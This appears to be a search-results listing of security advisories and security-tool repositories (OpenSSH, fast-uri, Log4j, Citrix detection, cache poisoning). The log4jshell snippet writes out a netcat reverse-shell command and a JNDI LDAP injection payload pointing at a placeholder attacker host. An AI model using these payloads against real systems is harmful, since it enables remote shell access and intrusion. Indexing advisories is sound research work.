49497 matches found
CVE-2025-26465
CVE-2025-26465 The OpenSSH client contains a logic error between versions 6.8p1 to 9.9p1 inclusive that makes it vulnerable to an active MitM attack if the VerifyHostKeyDNS option is enabled, allowing a malicious interloper to impersonate a legitimate server when a client attempts to connect to i...
EUVD-2026-70280
fast-uri vulnerable to authority injection via an unvalidated port in serialize...
fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority
Impact fast-uri accepts a host that contains an unbalanced or misplaced authority bracket or without reporting an error. A host that starts with but does not end with , such as @127.0.0.1, is neither validated as an IP literal nor canonicalized as a domain name, so parse returns it as the host wi...
EUVD-2026-70282
fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority...
NPM: fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority
NPM: fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority vulnerability discovered by ? in WordPress Npm fast-uri versions 2.4.5...
GHSA-58MR-GQGX-XQ4G fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority
Impact fast-uri accepts a host that contains an unbalanced or misplaced authority bracket or without reporting an error. A host that starts with but does not end with , such as @127.0.0.1, is neither validated as an IP literal nor canonicalized as a domain name, so parse returns it as the host wi...
citrix-2025
Detection Script for Citrix NetScaler appliances Author: NCSC-NL !WARNING Some of these checks are meant to hunt for compromises, while other checks verify if you are compromised. Disclaimer These scripts are provided without any guarantees regarding its effectiveness. The detection capabilities ...
Logsensor
Logsensor Una potente herramienta sensor para descubrir paneles de inicio de sesión y escaneo de SQLi en formularios POST Características Escaneo de paneles de inicio de sesión para múltiples hosts Compatibilidad con proxy http, https El escaneo de paneles de inicio de sesión se realiza en...
fockcache
fockcache FockCache - 最小化测试缓存投毒 缓存投毒详情：https://portswigger.net/research/practical-web-cache-poisoning FockCache FockCache 通过尝试在网页上注入 X-Forwarded-Host 和 X-Forwarded-Scheme 头部来实施缓存投毒。 成功之后，它会提供一个被投毒的 URL。 即将添加： 1 - 页面参数检查器 2 - 递归检查 安装 1 - 使用 installer.sh 安装 chmod +x installer.sh ./installer.sh 2 -...
ossec-hids
OSSEC v4.3.0 Information about OSSEC OSSEC is a full platform to monitor and control your systems. It mixes together all the aspects of HIDS host-based intrusion detection, log monitoring and SIM/SIEM together in a simple, powerful and open source solution. Visit our website for the latest...
antipwny
antipwny Autores: Rohan Vazarkar, David Bitner Un IDS/IPS basado en host escrito en C, orientado a Payloads de Metasploit. Instrucciones AntiPwny requiere .NET Framework 4.5, que puede adquirirse aquí. Un instalador sin conexión está disponible aquí...
domain_analyzer
Domain Analyzer v0.8.3 What Domain analyzer is a security analysis tool that automatically discovers and reports information about a given domain. Its main purpose is to analyze domains in an unattended way. It has many crazy features, such as getting more domains from DNS zones, automatic nmap,...
CVE-2026-58138-Conductor-Unauth-RCE
CVE-2026-58138 — Conductor RCE no autenticada a través del Evaluador GraalVM INLINE Conductor OSS / Orkes3.21.21 … antes de 3.30.2 evalúa JavaScript proporcionado por el usuario en tareas INLINE y LAMBDA / DOWHILE / SWITCH con un contexto de GraalVM construido con acceso completo al host...
log4jshell_CVE-2021-44228
log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir a Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Prueba de concepto Log4j P...
EUVD-2026-65088
jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution SSRF still present in InetAddress deserialization...
CVE-2024-1642470
Vulnerabilidad de ejecución remota de código en el controlador principal genérico USB de Windows CVE-2024-1642470 Descripción general Este repositorio contiene un código de explotación de prueba de concepto PoC y un script de detección para la vulnerabilidad de ejecución remota de código en el...
CVE-2024-28995
CVE-2024-28995 SolarWinds Serv-U era susceptible a una vulnerabilidad de directory traversal que permitiría el acceso para leer archivos sensibles en la máquina host. INSTALACIÓN git clone https://github.com/gotr00t0day/CVE-2024-28995.git cd CVE-2024-28995 pip3 install -r requirements.txt USO...
CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume
CVE-2026-5555 – Escape de contenedor mediante enlace simbólico /proc/self/fd Resumen Un volumen compartido montado con propagación rshared permite que un contenedor malicioso cree un enlace simbólico que apunte a un archivo del host a través de /proc/self/fd. El proceso del host que escribe en el...
cornershot
What is CornerShot In warfare, CornerShot is a weapon that allows a soldier to look past a corner and possibly take a shot, without risking exposure. Similarly, the CornerShot package allows one to look at a remote host’s network access without the need to have any special privileges on that host...